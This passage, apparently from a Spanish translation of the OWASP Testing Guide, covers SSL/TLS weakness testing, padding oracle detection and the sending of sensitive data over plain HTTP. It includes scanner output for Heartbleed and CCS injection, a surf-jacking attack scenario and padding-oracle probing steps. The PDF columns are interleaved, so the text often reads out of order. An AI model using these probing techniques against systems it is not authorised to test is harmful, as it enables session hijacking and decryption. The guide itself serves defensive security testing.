0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!..
[-] Sending Heartbeat
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&..(.).*.
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2. vulnerable over TLSv1.2
262
0000: 02 FF FF 08 03 03 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........ [!] Vulnerable to Heartbleed bug (CVE-2014-0160) mentioned in

http://heartbleed.com/
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........
[!] Vulnerability Status: VULNERABLE
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!..
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&..(.).*.
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.
=====================================
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>[email protected].
Loading module: CCS Injection script by TripWire VERT ...
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.
Checking localhost:443 for OpenSSL ChangeCipherSpec (CCS) Injection bug
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m............. (CVE-2014-0224) ...
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!..#.$.%.&..
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../. [!] The target may allow early CCS on TLSv1.2
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7. [!] The target may allow early CCS on TLSv1.1
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?. [!] The target may allow early CCS on TLSv1
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G. [!] The target may allow early CCS on SSLv3
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._. [-] This is an experimental detection script and does not definitively determine
vulnerable server status.
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.
[!] Potentially vulnerable to OpenSSL ChangeCipherSpec (CCS) Injection
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w. vulnerability (CVE-2014-0224) mentioned in http://ccsinjection.lepidum.co.jp/
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~... [!] Vulnerability Status: Possible
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#........... =====================================
0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02 ..........}.....

263
Checking localhost:443 for HTTP Compression support against BREACH

vulnerability (CVE-2013-3587) ...
=====================================
[*] HTTP Compression: DISABLED
[*] Immune from BREACH attack mentioned in https://media.blackhat.com/us-

13/US-13-Prado-SSL-Gone-in-30-seconds-A-BREACH-beyond-CRIME-WP.pdf Checking localhost:443 for correct use of Strict Transport Security (STS) response
header (RFC6797) ...
[*] Vulnerability Status: No
[!] STS response header: NOT PRESENT
[!] Vulnerable to MITM threats mentioned in

--------------- RAW HTTP RESPONSE --------------- https://www.owasp.org/index.php/HTTP_Strict_Transport_Security#Threats
HTTP/1.1 200 OK
Date: Wed, 23 Jul 2014 13:48:07 GMT
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7 --------------- RAW HTTP RESPONSE ---------------
Set-Cookie: SessionID=xxx; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/; HTTP/1.1 200 OK

secure
Date: Wed, 23 Jul 2014 13:48:07 GMT
Set-Cookie: SessionChallenge=yyy; expires=Wed, 23-Jul-2014 12:48:07 GMT;
path=/ Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7
Content-Length: 193 X-Powered-By: PHP/5.4.7
Connection: close Set-Cookie: SessionID=xxx; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/;

secure
path=/
<html> Content-Length: 193
<head> Connection: close
<title>Login page </title> Content-Type: text/html
</head>
<body> <html>
<script src=http://othersite/test.js></script> <head>
<title>Login page </title>
<link rel=stylesheet type=text/css href=http://somesite/test.css> </head>

264
<body> =====================================
<script src=http://othersite/test.js></script>
Checking localhost:443 for ROBUST use of anti-caching mechanism ...
<link rel=stylesheet type=text/css href=http://somesite/test.css>
[!] Cache Control Directives: NOT PRESENT
[!] Browsers, Proxies and other Intermediaries will cache SSL page and sensitive
information will be leaked.
=====================================
Checking localhost for HTTP support against HTTPS Stripping attack ...
-------------------------------------------------
[!] HTTP Support on port [80] : SUPPORTED
[!] Vulnerable to HTTPS Stripping attack mentioned in

https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09- Robust Solution:
Marlinspike-Defeating-SSL.pdf

- Cache-Control: no-cache, no-store, must-revalidate, pre-check=0,
post-check=0, max-age=0, s-maxage=0
- Ref:
https://www.owasp.org/index.php/Testing_for_Browser_cache_weakness_(OTG-
===================================== AUTHN-006)
http://msdn.microsoft.com/en-us/library/ms533020(v=vs.85).aspx
Checking localhost:443 for HTTP elements embedded in SSL page ...
=====================================
[!] HTTP elements embedded in SSL page: PRESENT
[!] Vulnerable to MITM malicious content injection attack Checking localhost:443 for Surf Jacking vulnerability (due to Session Cookie
missing secure flag) ...
[!] Secure Flag in Set-Cookie: PRESENT BUT NOT IN ALL COOKIES

--------------- HTTP RESOURCES EMBEDDED ---------------
[!] Vulnerable to Surf Jacking attack mentioned in
- http://othersite/test.js https://resources.enablesecurity.com/resources/Surf%20Jacking.pdf
- http://somesite/test.css [!] Vulnerability Status: VULNERABLE

265
--------------- RAW HTTP RESPONSE --------------- [!] Vulnerable to MITM attack described in
[!] Vulnerable to MITM attack described in
HTTP/1.1 200 OK
Date: Wed, 23 Jul 2014 13:48:07 GMT http://www.isg.rhul.ac.uk/tls/
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7 [!] Vulnerability Status: VULNERABLE
Set-Cookie: SessionID=xxx; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/;

secure

path=/ =====================================
Content-Length: 193
Connection: close Checking localhost:443 for TLS 1.1 support ...
Checking localhost:443 for TLS 1.2 support ...
=====================================
[*] TLS 1.1, TLS 1.2: SUPPORTED
Checking localhost:443 for ECDHE/DHE ciphers against FORWARD SECRECY [*] Immune from BEAST attack mentioned in
support ... http://www.infoworld.com/t/security/red-alert-https-has-been-hacked-174025
[*] Forward Secrecy: SUPPORTED
[*] Connected using cipher - TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA

on protocol - TLSv1
[*] Attackers will NOT be able to decrypt sniffed SSL packets even if they have
compromised private keys. =====================================
Loading module: sslyze by iSecPartners ...
=====================================
Checking localhost:443 for Session Renegotiation support (CVE-2009-3555,CVE-

2011-1473,CVE-2011-5094) ...
Checking localhost:443 for RC4 support (CVE-2013-2566) ...
[*] Secure Client-Initiated Renegotiation : NOT SUPPORTED

[!] RC4: SUPPORTED
[*] Mitigated from DOS attack (CVE-2011-1473,CVE-2011-5094) mentioned in

266
https://www.thc.org/thc-ssl-dos/ TLS_ECDH_anon_WITH_RC4_128_SHA
[*] Vulnerability Status: No TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA
TLS_ECDH_anon_WITH_AES_256_CBC_SHA
(TLSv1.0: same as above)
[*] INSECURE Client-Initiated Renegotiation : NOT SUPPORTED (TLSv1.1: same as above)
[*] Immune from TLS Plain-text Injection attack (CVE-2009-3555) - (TLSv1.2: same as above)
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3555
[!] LANE ciphers : SUPPORTED

=====================================
[!] Attackers may be ABLE to recover encrypted packets.

Loading module: TestSSLServer by Thomas Pornin ...
Checking localhost:443 for SSL version 2 support ...
=====================================
[*] SSL version 2 : NOT SUPPORTED
[*] Immune from SSLv2-based MITM attack

Checking localhost:443 for GCM/CCM ciphers support against Lucky13 attack
[*] Vulnerability Status: No (CVE-2013-0169) ...
===================================== Supported GCM cipher suites against Lucky13 attack:
Checking localhost:443 for LANE (LOW,ANON,NULL,EXPORT) weak ciphers TLSv1.2

support ...
Supported LANE cipher suites:
SSLv3
RSA_EXPORT_WITH_RC4_40_MD5
TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
RSA_EXPORT_WITH_RC2_CBC_40_MD5
TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
RSA_EXPORT_WITH_DES40_CBC_SHA
RSA_WITH_DES_CBC_SHA
DHE_RSA_EXPORT_WITH_DES40_CBC_SHA
[*] GCM/CCM ciphers : SUPPORTED
DHE_RSA_WITH_DES_CBC_SHA
[*] Immune from Lucky13 attack mentioned in
267
http://www.isg.rhul.ac.uk/tls/Lucky13.html
[*] Vulnerability Status: No Estos controles deben aplicarse a todos los canales de comunicacin SSL-
wrapped visibles utilizados por la aplicacin. Aunque este es el servicio https
que generalmente se ejecuta en el puerto 443, puede haber servicios
adicionales involucrados dependiendo de la arquitectura de las aplicaciones
===================================== web y de los problemas de implementacin (si queda un puerto HTTPS
administrativo abierto, servicios HTTPS en puertos no estndar, etc.).
Checking localhost:443 for TLS Compression support against CRIME (CVE-

2012-4929) & TIME attack ... Por lo tanto, se aplican estos controles a todos los puertos SSL-wrapped que se
han descubierto. Por ejemplo, el scanner nmap ofrece un modo de exploracin
(activado por el interruptor de lnea de comandos sV) que identifica
servicios SSL-wrapped. El escner de vulnerabilidades Nessus tiene la
[*] TLS Compression : DISABLED capacidad de realizar comprobaciones SSL en todos los servicios SSL/TLS-
wrapped.
[*] Immune from CRIME & TIME attack mentioned in
https://media.blackhat.com/eu-13/briefings/Beery/bh-eu-13-a-perfect-crime-beery-
wp.pdf
Ejemplo 1. Prueba de la validez del certificado (manualmente)
En lugar de proporcionar un ejemplo ficticio, esta gua incluye un ejemplo
annimo de la vida real para subrayar cun a menudo uno tropieza con sitios
https cuyos certificados son inexactos con respecto a su denominacin. Las
siguientes capturas de pantalla se refieren a un sitio regional de una empresa
de IT de alto perfil.
=====================================
Estamos visitando un sitio de .it y el certificado fue emitido para un sitio

.com. Internet Explorer advierte que el nombre del certificado no coincide con
[+] Breacher finished scanning in 12 seconds.
el nombre del sitio.
[+] Get your latest copy at http://yehg.net/
Prueba de la validez de los certificados SSL - de clientes y servidores
En primer lugar, actualice el navegador porque caducan los certificados CA y

en cada versin del navegador estos se renuevan. Examine la validez de los
certificados utilizados por la aplicacin. Los navegadores emitirn una
advertencia cuando encuentren certificados expirados, emitidos por CA no
confiables y/o que no coincidan el nombre con el sitio al que debe referirse.
Haga clic sobre el candado que aparece en la ventana del navegador cuando
visita un sitio HTTPS; los evaluadores pueden consultar informacin
relacionada con el certificado que incluye al emisor, el perodo de validez, las
caractersticas de cifrado, etc.
Si la aplicacin requiere un certificado del cliente, el evaluador tendr que

Advertencia emitida por Microsoft Internet Explorer
instalar uno para acceder a sta. La informacin del certificado est disponible
en el navegador mediante la inspeccin de los correspondientes certificados en
la lista de certificados instalados.
268
El mensaje emitido por Firefox es diferente. Firefox se queja porque no puede La victima se registra en una pgina web segura https://somesecuresite/.
determinar la identidad del sitio .com al que el certificado se refiere porque no
conoce la CA que firm el certificado. La pgina web segura emite una cookie de sesin cuando el cliente se
conecta.
Mientras est conectado, la vctima abre una nueva ventana de navegacin y

De hecho, Internet Explorer y Firefox no vienen precargados con la misma va a http://examplesite/
lista de CA. Por lo tanto, puede variar el comportamiento con diferentes
navegadores. Un atacante sentado en la misma red es capaz de ver el trfico transparente
en http://examplesite.
El atacante enva un 301 Moved Permanently en respuesta al trfico

transparente en http://examplesite. La respuesta contiene el encabezado
Location: http://somesecuresite /, lo que hace parecer que examplesite est
enviando al navegador hacia somesecuresite. Note que el esquema de la URL
is HTTP y no HTTPS.
El navegador de la vctima inicia una nueva conexin con texto transparente

con http://somesecuresite/ y enva una solicitud HTTP que contiene la cookie
en el encabezado HTTP en texto transparente.
El atacante ve este trfico y registra la cookie para su uso posterior.
Para comprobar si una web es vulnerable, realice las siguientes pruebas:
Advertencia emitida por Mozilla Firefox [1] Revise si el sitio web soporta protocolos HTTP y HTTPS.
[2] Revise si las cookies no tienen banderas de Seguridad.
Prueba de otras vulnerabilidades
Como se mencion anteriormente, existen otros tipos de vulnerabilidades que SSL Strip
no estn relacionadas con el protocolo SSL/TLS utilizado, las suites de cifrado
o certificados. Algunas aplicaciones soportan HTTP y HTTPS, ya sea por el uso o porque lo
usuarios pueden escribir ambas direcciones y acceder al sitio. A menudo los
usuarios entran en un sitio web de HTTPS por un enlace o una redireccin.
Aparte de otras vulnerabilidades que se discuten en otras partes de esta gua,

existe una vulnerabilidad cuando el servidor proporciona al sitio web los
protocolos HTTP y HTTPS y permite a un atacante forzar a una vctima a Los sitios de banca personal tienen una configuracin similar, con un registro
utilizar un canal no seguro en lugar de uno seguro. de iframed o un formulario con un atributo de accin sobre HTTPS, pero la
pgina en HTTP.
Surf Jacking (Secuestro de navegacin)

Un atacante en una posicin privilegiada - como se describe en SSL strip [8] -
El ataque de Surf Jacking [7] fue presentado primero por Sandro Gauci y puede interceptar el trfico cuando el usuario est en el sitio http y
permite a un atacante secuestrar una sesin HTTP, incluso cuando la conexin manipularlo para obtener un ataque de Man In The Middle en HTTPS. Una
de la vctima est cifrada mediante SSL o TLS. aplicacin es vulnerable si es compatible con HTTP y HTTPS.
El siguiente es un escenario de cmo puede ocurrir el ataque: Pruebe mediante un proxy HTTP

269
Dentro de entornos corporativos, los evaluadores pueden ver los servicios que
no son directamente accesibles y pueden acceder a ellos a travs del proxy
HTTP mediante el mtodo CONNECT [36]. Ejemplo 10: Apache
Para revisar las suites y protocolos de cifrado soportados por el servidor
La mayora de las herramientas no funcionan en este escenario porque tratan web Apache2, abra el archivo ssl.conf y busque las directivas
de conectarse al puerto tcp deseado para iniciar el protocolo de conexin SSLCipherSuite, SSLProtocol, SSLHonorCipherOrder,
SSL/TLS. Con la ayuda de software de reinstalacin como socat, [37] los SSLInsecureRenegotiation y SSLCompression.
probadores pueden activar esas herramientas para usarlas con los servicios
detrs de una proxy HTTP.
Prueba de la validez de los certificados SSL - de clientes y servidores
Ejemplo 8. Pruebe mediante un proxy HTTP Examine la validez de los certificados utilizados por la aplicacin a nivel de
cliente y servidor. El uso de los certificados es principalmente a nivel del
Para conectarse con destined.application.lan:443 mediante un proxy servidor web, sin embargo, puede haber rutas de comunicacin protegidas por
10.13.37.100:3128 ejecute socat como sigue: SSL (por ejemplo, hacia el DBMS). Los evaluadores deben revisar la
arquitectura de las aplicaciones para identificar todos los canales SSL
$ socat TCP-LISTEN:9999,reuseaddr,fork protegido.
PROXY:10.13.37.100:destined.application.lan:443,proxyport=3128
Herramientas
Entonces el evaluador puede apuntar todas las dems herramientas hacia
localhost:9999: [21][Qualys SSL Labs - SSL Server Test: ssllabs.com
$ openssl s_client -connect localhost:9999 [27] [Tenable - Nessus Vulnerability Scanner tenable.com: incluye algunos
plugins para probar diferentes vulnerabilidades relacionadas con SSL,
certificados y la presencia de autenticacin HTTP bsica sin SSL.
Todas las conexiones a localhost:9999 sern efectivamente retransmitidas por [32] [TestSSLServer: bolet.org]: un scanner java - y tambin un ejecutable
socat mediante un proxy hacia destined.application.lan:443. de windows - incluye pruebas para suites de cifrado, CRIME y BEAST
[33] [sslyze: github.com]: es un script python para revisar vulnerabilidades

en SSL/TLS.
Revisin de la configuracin
[28] [SSLAudit | code.google.com: un escner ejecutable con un script perl
Prueba de las suites de cifrado SSL/TLS dbiles /windows de acuerdo a la gua Qualys SSL Labs Rating Guide.
Compruebe la configuracin de los servidores web que ofrecen servicios de [29] [SSLScan | sourceforge.net [SSL Tests | pentesterscripting.com l_tests]:
https. Si la aplicacin web proporciona otros servicios SSL/TLS wrapped, un SSL Scanner y un wrapper para enumerar las vulnerabilidades SSL.
stos deben comprobarse tambin.
[31] [nmap | nmap.org]: puede ser utilizado primeramente para identificar
servicios basados en SSL y luego verificar el certificado y vulnerabilidades
SSL/TLS. Particularmente tiene algunos scripts para revisar [Certificate and
Ejemplo 9. Windows Server SSLv2 | nmap.org] y [SSL/TLS protocols/ciphers | nmap.org] soportados con
un rango interno.
Revise la configuracin en Microsoft Windows Server (2000, 2003 y 2008)
usando la clave de registro: [30] [curl | curl.haxx.se] y [openssl | openssl.org]: pueden ser usados para
consultas manuales de servicios SSL/TLS
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityPr
oviders\SCHANNEL\ [9] [Stunnel | stunnel.org]: una clase notable de clientes SSL es aquella de
los proxies SSL como stunnel que puede utilizarse para permitir que
herramientas activas de no SSL se comuniquen con los servicios SSL)
que tiene algunas subclaves como cifras, protocolos y [37] [socat | dest-unreach.org]: relay multipropsito
KeyExchangeAlgorithms.

270
[38] [testssl.sh | testssl.sh ] [14] [Qualys SSL Labs - SSL Server Rating Guide | ssllabs.com]
[20] [Qualys SSL Labs - SSL Threat

Model|https://www.ssllabs.com/projects/ssl-threat-model/index.html]
Referencias
[18] [Qualys SSL Labs - Forward Secrecy |
Recursos OWASP
community.qualys.com]
[5] [Gua de pruebas OWASP - Pruebas de los atributos de las cookies
(OTG-SESS-002) | owasp.org] [15] [Qualys SSL Labs - RC4 Usage | community.qualys.com]
[4][ Gua de pruebas OWASP - Pruebe la configuracin de la infraestructura [16] [Qualys SSL Labs - BEAST | community.qualys.com]
y la red (OTG-CONFIG-001) | owasp.org]
[17] [Qualys SSL Labs - CRIME | community.qualys.com]
[6] [Gua de pruebas OWASP - Pruebe el HTTP Strict Transport Security
(OTG-CONFIG-007) | owasp.org] [7] [SurfJacking attack|resources.enablesecurity.com]
[2] [Gua de pruebas OWASP - Pruebas para el envo de informacin [8] [SSLStrip attack | thoughtcrime.org]
sensible por canales sin encriptar (OTG-CRYPST-003) | owasp.org]
[19] [PCI-DSS v2.0 | pcisecuritystandards.org]
[3] [Gua de pruebas OWASP - Pruebas del transporte de credenciales en un
canal encriptado (OTG-AUTHN-001) | owasp.org] [35] [Xiaoyun Wang, Hongbo Yu: How to Break MD5 and Other Hash
Functions| springer.com]
[22] [OWASP Cheat sheet - Transport Layer Protection |
owasp.org ]
Prueba del Padding Oracle (Relleno de Oracle)(OTG-CRYPST-002)
[23] [OWASP TOP 10 2013 - A6 Sensitive Data Exposure |owasp.org]
Resumen
[24] [OWASP TOP 10 2010 - A9 Insufficient Transport Layer Protection |
owasp.org] Un padding oracle es una funcin de la aplicacin que decodifica datos
encriptados que proporciona el cliente, por ejemplo, estado de sesin interna
[25] [OWASP ASVS 2009 - Verification 10 | code.google.com] almacenado en el cliente y fuga el estado de la validez del padding despus de
descifrado.
[26] [OWASP Application Security FAQ - Cryptography/SSL | owasp.org]
La existencia de un padding oracle permite a un atacante descifrar datos

Libros Blancos encriptados y cifrar datos arbitrarios sin conocer la clave utilizada para estas
operaciones criptogrficas. Esto puede llevar a la fuga de datos sensibles o a
[1] [RFC5246 - The Transport Layer Security (TLS) Protocol Version 1.2 una vulnerabilidad de privilegios escalada si la aplicacin asume la integridad
(Updated by RFC 5746, RFC 5878, RFC 6176) | de los datos cifrados.
ietf.org]
[36] [RFC2817 - Upgrading to TLS Within HTTP/1.1|] Los bloques de cifrado encriptan los datos en bloques de tamaos
determinados. Los tamaos de bloque utilizados por los cifradores comunes
[34] [RFC6066 - Transport Layer Security (TLS) Extensions: Extension son de 8 y 16 bytes. Los datos cuyo tamao no coincide con un mltiplo del
Definitions | ietf.org] tamao del bloque de cifrado usado, tienen que rellenarse de una forma
especfica para que el decodificador pueda eliminar el padding. Un esquema
[11] [SSLv2 Protocol Multiple Weaknesses | osvdb.org] comn de padding utilizado es PKCS #7. Llena los bytes restantes con el valor
de la longitud del padding.
[12] [Mitre - TLS Renegotiation MiTM | cve.mitre.org]
[13] [Qualys SSL Labs - TLS Renegotiation DoS |

Ejemplo:
community.qualys.com]
[10] [Qualys SSL Labs - SSL/TLS Deployment Best Practices | ssllabs.com]

271
Si el padding tiene la longitud de 5 bytes, el valor del byte 0 x 05 se repite Primero deben identificarse los puntos de entrada posibles para los padding
cinco veces despus del texto. oracles. Generalmente deben cumplirse las siguientes condiciones:
Una condicin de error est presente si el padding no coincide con la sintaxis [1] Los datos estn codificados. Son buenos candidatos los valores que
del esquema de padding usado. Un padding oracle est presente si una parecen aleatorios.
aplicacin filtra esta condicin de error de padding especfico para datos
cifrados proporcionados por el cliente. [2] Se utiliza un cifrado de bloque. La longitud del texto cifrado decodificado
(Base64 se utiliza a menudo); es un mltiplo de los tamaos de bloque de
cifrado comunes como 8 o 16 bytes. Los diferentes textos de cifrado (por
ejemplo, reunidos en diferentes sesiones o manipulando el estado de la sesin)
Esto puede ocurrir exponiendo las excepciones (e.g. BadPaddingException en comparten un divisor comn en la longitud.
Java) directamente, por diferencias sutiles en las respuestas enviadas al cliente
o por otro canal lateral como comportamiento de sincronizacin.
Ejemplo:
Ciertos modos de operacin criptogrfica permiten ataques de bit-flipping, Dg6W8OiWMIdVokIDH15T/A== resulta despues de decodificar Base64 en
donde voltear un bit en el texto de cifrado hace que el bit tambin se voltee en 0e 0e 96 f0 e8 96 30 87 55 a2 42 03 1f 5e 53 fc. Esto parece ser aleatorio y
el texto simple. con una longitud de 16 bytes.
Voltear un bit en el enesimo bloque en los datos encriptados de CBC causa Si se identifica un valor ingresado que es un buen candidato, debe verificarse
que el mismo bit en el (enesimo+1) bloque se voltee en los datos descifrados. el comportamiento de la aplicacin con la manipulacin del valor codificado
El enesimo bloque del texto cifrado que se decodifica es inhabilitado con esta en referencia al bit.
manipulacin.
Normalmente este valor Base64 codificado incluir el vector de inicializacin

El ataque de padding oracle permite que un atacante descifre datos (IV) que se antepone al texto cifrado. Dado un texto plano p y un cifrado con
codificados sin el conocimiento de la clave de cifrado y el cifrado utilizado un bloque de tamao n, el nmero de bloques ser b = ceil (length(b) / n).
mediante el envo de textos, hbilmente manipulados, de cifrado al padding
oracle y observa los resultados devueltos por este.
La longitud de la cadena cifrada ser y=(b+1)*n debido al vector de

inicializacin. Para verificar la presencia del orculo, decodifique la cadena,
Esto causa la prdida de confidencialidad de los datos cifrados. Por ejemplo, cambie el ltimo bit del penltimo bloque b-1 (el bit menos significativo del
en el caso de datos de sesin almacenados en el lado del cliente, el atacante byte en y-n-1), vuelva a codificar y enve. A continuacin, decodifique la
puede obtener informacin sobre el estado interno y la estructura de la cadena original, cambie el ltimo bit del bloque b-2 (el bit menos significativo
aplicacin. del byte en y-2*n-1), vuelva a codificar y enve.
Un ataque de padding oracle tambin permite a un atacante cifrar textos Si se sabe que la cadena cifrada es un solo bloque (el IV se almacena en el
arbitrarios simples sin el conocimiento de la clave usada y el cifrado. Si la servidor o la aplicacin est utilizando una mala prctica de codificado de IV),
aplicacin asume como correcta la integridad y autenticidad de los datos varios cambios de bits deben realizarse en turnos. Un enfoque alternativo sera
descifrados, un atacante podra ser capaz de manipular el estado de sesin anteponer un bloque al azar y cambiar bits para hacer que el ltimo byte del
interna y posiblemente obtener mayores privilegios. bloque aadido tome todos los valores posibles (0 a 255).
Cmo probar Las pruebas y el valor base deben causar al menos tres diferentes estados
durante y despus del descifrado:
Prueba para determinar las vulnerabilidades de padding oracle:

272
Se consigue descifrar el texto cifrado; los datos resultantes son correctos.
Se consigue descifrar el texto cifrado, los datos resultantes son confusos y [1] La integridad del texto cifrado debe ser verificada por un mecanismo
causan algunas excepciones y errores de manejo en la lgica de la aplicacin. seguro, como HMAC o con formas de autenticar la operacin de cifrado como
GCM o CCM.
Falla el descifrado del texto debido a errores de padding.

[2] Todos los estados de error durante la decodificacin y el posterior
procesamiento son manejados uniformemente.
Compare las respuestas con cuidado. Busque sobre todo las excepciones y los
mensajes que indican que algo est mal con el padding. Si aparecen estos
mensajes, la aplicacin contiene un oracle padding. Herramientas
PadBuster: github.com
Si los tres estados diferentes descritos anteriormente son implcitamente python-paddingoracle: github.com
observables (mensajes de error diferentes, tiempos del lado de los canales),
hay una alta probabilidad de que en este momento hay un oracle padding Poracle: github.com
presente. Trate de realizar el ataque de oracle padding para confirmarlo.
Padding Oracle Exploitation Tool (POET): netifera.com
Ejemplos:
Ejemplos
Visualizacin del proceso de decodificacin: erlend.oftedal.no

ASP.NET lanza la excepcin System.Security.Cryptography.Cryptographic
Exception: Padding is invalid and cannot be removed. si el padding del texto
cifrado que se decodific est roto.
Referencias
Libros Blancos
En Java, una excepcin javax.crypto.BadPaddingException se lanza en este
caso. Wikipedia - Padding oracle attack: en.wikipedia.org
Juliano Rizzo, Thai Duong, Practical Padding Oracle Attacks: usenix.org
Errores de decodificacin o similares son posibles padding oracles.
Pruebas para el envo de informacin sensible por canales sin encriptar

(OTG-CRYPST-003)
Resultados esperados:
Resumen
Una implementacin de seguridad revisar la integridad y causar slo dos
respuestas: ok y failed. No hay ningn canal lateral que se pueda utilizar para Los datos sensibles deben ser protegidos al transmitirse a travs de la red. Si
determinar el estado de los errores internos. los datos se transmiten a travs de HTTPS o cifrados de alguna otra manera, el
mecanismo de proteccin no debe tener limitaciones o vulnerabilidades, como
se explica en el artculo ms amplio. Pruebas de codificadores SSL/TLS
dbiles, proteccin de transporte de capas insuficiente (OTG-CRYPST-001)
Pruebas de Caja Negra [1] y en otra documentacin OWASP [2], [3], [4], [5].
Prueba para determinar las vulnerabilidades de padding oracle:
Verifique que todos los lugares donde estn codificados los datos del cliente, Como regla general, si los datos deben protegerse cuando se almacenan, estos
que slo deben ser conocido por el servidor, se encuentran decodificados. datos tambin deben protegerse durante la transmisin. Algunos ejemplos de
Dicho cdigo debe cumplir las siguientes condiciones: datos sensibles son:

273
<html><head><title>401 Authorization Required</title></head>
Informacin utilizada en la autenticacin (por ejemplo credenciales, PINs, <body bgcolor=white> <h1>401 Authorization Required</h1> Invalid login
identificadores de sesin, Fichas, Cookies) credentials! </body></html>
Informacin protegida por leyes, regulaciones o polticas organizacionales

especficas (por ejemplo, tarjetas de credito, datos del cliente ).
Ejemplo 2: Autenticacin basada en formularios mediante HTTP
Otro ejemplo tpico son los formularios de autenticacin que transmiten

credenciales de autenticacin del usuario mediante HTTP. En el siguiente
ejemplo puede ver en HTTP el uso del atributo "action" del formulario.
Si la aplicacin transmite informacin sensible a travs de canales sin Tambin es posible ver este tema examinando el trfico HTTP con un proxy
codificar - por ejemplo, HTTP - se considera un riesgo de seguridad. Algunos de intercepcin.
ejemplos son de autenticacin bsica que enva credenciales de autenticacin
en texto simple mediante HTTP, credenciales de autenticacin basadas en
formularios enviados mediante HTTP, o la transmisin de texto simple o
cualquier otra informacin considerada sensible de acuerdo a normas, leyes, <form action=http://example.com/login>
poltica organizacional o lgica de la aplicacin del negocio.
<label for=username>User:</label> <input type=text
id=username name=username value=/><br />
Cmo probar <label for=password>Password:</label> <input

type=password id=password name=password value=/>
Diversos tipos de informacin que deben ser protegidos podran transmitirse
mediante la aplicacin en texto claro. Es posible verificar si esta informacin <input type=submit value=Login/>
se transmite a travs de HTTP en lugar de HTTPS, o si se utilizan cifrados
dbiles. Para mayor informacin acerca de la transmisin insegura de </form>
credenciales, vea el Top 10 2013-A6-Sensitive Data Exposure [3] o proteccin
insuficiente de la capa de transporte en general Top 10 2010-A9-Insufficient
Transport Layer Protection [2].
Ejemplo 3: Cookie que contiene un identificador de sesin enviado por
HTTP
Ejemplo 1: Autenticacin bsica en HTTP La Cookie del identificador de sesin debe ser transmitida en canales
protegidos. Si la cookie no tiene la bandera de seguridad [6] se permite a la
Un ejemplo tpico es el uso de una autenticacin bsica en HTTP. Cuando se aplicacin transmitirla sin encriptar.
utiliza una autenticacin bsica, se codifican las credenciales de usuario en
lugar de encriptarlas y se envan como encabezados HTTP. En el ejemplo Note a continuacin que la programacin de la cookie se realiza sin la bandera
siguiente, el evaluador usa curl [5] para evaluar este tema. Note cmo la de seguridad, y todo el proceso de registro se realiza en HTTP y no HTTPS..
aplicacin utiliza la autenticacin bsica y HTTP en lugar de HTTPS
curl -kis http://example.com/restricted/

https://secure.example.com/login
HTTP/1.1 401 Authorization Required
Date: Fri, 01 Aug 2013 00:00:00 GMT

POST /login HTTP/1.1
WWW-Authenticate: Basic realm=Restricted Area
Host: secure.example.com
Accept-Ranges: bytes Vary:
